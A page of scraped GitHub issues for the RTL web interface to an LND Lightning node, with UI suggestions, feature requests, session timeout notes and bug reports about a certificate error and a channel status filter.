First of all I like to mention that the RTL application is a very good, intuitive UI for the LND node. Well done to the team. I have installed it on the Raspberry PI where I have LND and Bitcoind running (thanks Stadicus!). I got stuck on lncli and RTL has really helped me to grap the basics so now lncli is much better to understand too. Ideal combi for me is to see the output of RTL and LND on putty sessions while using the RTL UI! I do have a couple of suggestions for improvements of the UI

  1. It looks like the server times out now and then, I have to log in again after a refresh. Is this a setting anywhere?
  2. I suggest to freeze the top part of the screen (the blue Ride The Lightning section and for example also the Add Channel menu below that in Channel Management) so that when you scroll down you continue to have a view on it and does not scroll away
  3. If you click on Menu [LND WALLET], it just unfolds this menu into two suboptions. I would show some content straight away (e.g. balance / latest transactions) as now the output screen does not refresh until you press a button below, eg [Send/Receive]. This is more responsive
  4. If you click on [List Transactions] under [LND WALLET] I suggest to sort the transactions with latest transaction date on top
  5. [PEERS] in add-peer inputfield I would specify lightning address (pubkey@ip:tcp) so it is clear what to enter instead of *
  6. [PEERS] it would be nice to add the location / country flag next to the IP address (e.g. ip.location.net) as it is a nice indication of where your peers are located
  7. [CHANNELS] if you click on this show something on the output screen like mentioned above
  8. [CHANNELS] [management] sort the channels Active on Top, Inactive on the bottom this avoids screening
  9. Same comment on locking the top part of the screen
  10. [PAYMENTS] show something in the output screen. I would combine the send_payment input here directly with the list payments so it is all on one screen. Latest payment listing on top.
  11. So [PAYMENTS] would have no sub menu.
  12. Lastly when you enter the payment date in the send_payment line you might consider that you show all the detail straight away in a pop up menu (rather than having to press decode) like Éclair has
  13. In the [listpayments] menu it is interesting to see the number of hops. A little bit more detail there would be interesting. E.g I copied the PubKeys, entered them in 1ML.com, discovered the ip_address and found the location in ip.location.net. You might want to show the countries the payment went through
  14. [INVOICES] list them with the latest on top

UI enhancements

Need ability to Clear form on the below screens:

  • Channel management
  • Invoices

Payments menu order should be updated to move Send Payment above.

Show Total Wallet Balance on Channel open

Is your feature request related to a problem? Please describe.
Yes. At the time of opening a channel, user needs to go back n forth between the channel management screen and home/wallet to know how much wallet balance is available to open channel.

Describe the solution you'd like
Open channel form, can display below the channel amount field, total balance available, so that the user knows the total balance before opening the channel and the remaining balance after opening the channel with the specified amount.

RTL User session management

Any user requiring access to RTL, needs to be authenticated.
Refer to issue (https://github.com/ShahanaFarooqui/RTLFullApplication/issues/2) for details on authentication options.
Documenting the user session management scenarios covered with RTL.

  1. User Idle time - User idle time is set for one hour (no configuration at this point). If the session is idle for more than one hour, the user will be logged out

  2. Closing browser tab/window - If the user closes browser tab or window, the active session will be in-authenticated and user will be logged out, unconditionally. Any new session initiated needs to be authenticated again.

  3. User activity - As long as the user is active on the application and the intermediate session inactivity period is not exceeded by one hour, the session will remain authenticated and the user will not be required to login.

UI for Mobile device resolution is sub-optimal

Is your feature request related to a problem? Please describe.
For mobile device resolution the screens do not render in a user friendly manner.

Describe the solution you'd like
For mobile device resolutions, the data being rendered in the grids should be reduced to bare minimum.
If the user is interested in specific records, the details should be made available upon selecting a record.
All the grids should be re-visited to optimize. specifically:

  • List of peers
  • List of channels
  • Channel Dashboard
  • Payments list
  • Invoice list

Unable to commit all funds without change address

I have 498,519 satoshis left in my wallet. I would like to commit all funds so I do not have a change address. (dust UTXOs are bad!) Right now its impossible to guess the correct funding amount to make this happen.

I would suggest allowing the user to type in 'max' in the Amount (Sats) * field that would commit all funds without a change address.

In the future, coin control would be nice. For example, Electrum handles this with a 'coins' tab, allowing you to spend specific UTXOs. This is also important when using privacy wallets such as wasabi.

"Cannot validate certificate for 127.0.0.1 because it doesn't contain any ip Sans" error

Description
Despite correct password input which is the same for 'lncli unlock', receive error "Cannot validate certificate for 127.0.0.1 because it doesn't contain any ip Sans". LND and Bitcoind is running well without issues.

To Reproduce
Steps to reproduce the behavior:

  1. After input password on web interface
  2. "Cannot validate certificate for 127.0.0.1 because it doesn't contain any ip Sans" error is received
  3. When 'lncli unlock' entered with correct password
  4. "Please Check Server Connection" error is received

Screenshots
https://i.ibb.co/4YgqnDg/image.png
https://i.ibb.co/6w4mMgq/Selection-162.png

Your environment

  • LND - version 0.5.1-beta commit=v0.5.1-beta-252 ge6623f98b38f279900aaedf6a6993f34c3a45337
  • Ubuntu - 16.04
  • Bitcoind - v0.17.0.0-ge1ed37edaedc85b8c3468bd9a726046344036243

@ShahanaFarooqui @saubyk Please help

Status Filter is not working on the Channel list

Describe the bug
Status filter is not working for Channel list.

To Reproduce
Steps to reproduce the behavior:

  1. Go to Management under Channels
  2. Select 'Active' or 'Inactive' from the Status Filter.
  3. Selection does not filter the channel list based on the status, the list is unaffected.

Expected behavior
Upon selection of the status filter, the list should be updated and only the channels with the selected filter should be in the list.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.